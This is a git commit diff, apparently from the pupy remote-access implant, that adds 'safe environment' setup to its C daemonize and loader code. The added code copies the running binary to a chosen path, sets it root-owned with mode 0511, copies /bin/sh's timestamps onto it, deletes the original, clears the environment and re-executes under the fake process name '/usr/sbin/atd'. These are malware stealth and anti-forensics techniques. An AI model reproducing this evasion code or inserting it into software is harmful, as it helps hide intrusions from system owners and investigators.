Setup "safe" environment

This commit is contained in:
Oleksii Shevchuk 2017-03-02 11:15:33 +02:00 committed by Oleksii Shevchuk
parent 6bbee454ac
commit a31537968c
2 changed files with 120 additions and 1 deletions

View File

@ -1,10 +1,36 @@
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <linux/fs.h>
#include <unistd.h>
#ifndef DEFAULT_MTIME_FROM
#define DEFAULT_MTIME_FROM "/bin/sh"
#endif
#ifndef DEFAULT_ENV_SA0
#define DEFAULT_ENV_SA0 "__SA0"
#endif
#ifndef DEFAULT_ENV_SCWD
#define DEFAULT_ENV_SCWD "__SCWD"
#endif
#ifndef DEFAULT_ENV_CLEANUP
#define DEFAULT_ENV_CLEANUP "__CLEANUP"
#endif
#ifndef DEFAULT_ENV_MOVE
#define DEFAULT_ENV_MOVE "__MOVE"
#endif
#ifndef DEFAULT_ARGV0
#define DEFAULT_ARGV0 "/usr/sbin/atd"
#endif
#include "daemonize.h"
@ -14,6 +40,95 @@ int daemonize(bool exit_parent) {
int pipes[2];
/* Cleanup environment and reexec */
char self[PATH_MAX] = {};
if (getenv("PATH") && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
char *set_argv0 = getenv(DEFAULT_ENV_SA0);
char *set_cwd = getenv(DEFAULT_ENV_SCWD);
char *cleanup = getenv(DEFAULT_ENV_CLEANUP);
char *move = getenv(DEFAULT_ENV_MOVE);
int fd = -1;
struct stat _stat = {};
stat(DEFAULT_MTIME_FROM, &_stat);
if (move) {
fd = open(self, O_RDONLY);
unlink(move);
int fd2 = open(move, O_RDWR | O_CREAT, 0700);
if (fd2 == -1) {
move = NULL;
} else {
for (;;) {
char buffer[4096] = {};
int r = read(fd, buffer, sizeof(buffer));
if (r <= 0) {
close(fd);
if (r == -1) {
unlink(move);
move = NULL;
} else {
unlink(self);
fchmod(fd2, 0511);
fchown(fd2, 0, 0);
if (_stat.st_mtime) {
struct timespec ts[2] = {
_stat.st_atim, _stat.st_mtim
};
futimens(fd2, ts);
}
}
close(fd2);
break;
}
int w = write(fd2, buffer, r);
if (w < 0) {
close(fd2);
close(fd);
unlink(move);
move = NULL;
break;
}
}
}
}
fd = open(move? move:self, O_CLOEXEC | O_RDONLY);
if (fd == -1) {
fd = open(move? move:self, O_RDONLY);
}
if (fd != -1) {
if (cleanup) {
unlink(move? move:self);
}
char *const argv[] = {
set_argv0? set_argv0 : DEFAULT_ARGV0,
NULL
};
char *const env[] = {NULL};
if (set_cwd) {
chdir(set_cwd? set_cwd : "/");
}
fexecve(fd, argv, env);
/* We shouldn't be here */
close(fd);
}
}
/* Set default "safe" path */
setenv("PATH", "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", 1);
/* Daemonize */
if (!exit_parent) {
if (pipe(pipes) == -1) {
return -1;

View File

@ -9,6 +9,10 @@
#include "pupy_load.h"
#include "debug.h"
#ifndef DEFAULT_ENV_CLEANUP
#define DEFAULT_ENV_CLEANUP "__CLEANUP"
#endif
static pthread_t thread_id;
static int __argc = 0;
@ -59,7 +63,7 @@ void loader() {
pthread_attr_init(&attr);
const char *ldpreload = getenv("LD_PRELOAD");
const char *cleanup = getenv("CLEANUP");
const char *cleanup = getenv(DEFAULT_ENV_CLEANUP);
if (cleanup && ldpreload && !strcmp(cleanup, "1")) {
dprint("Cleanup requested. Cleanup %s\n", ldpreload);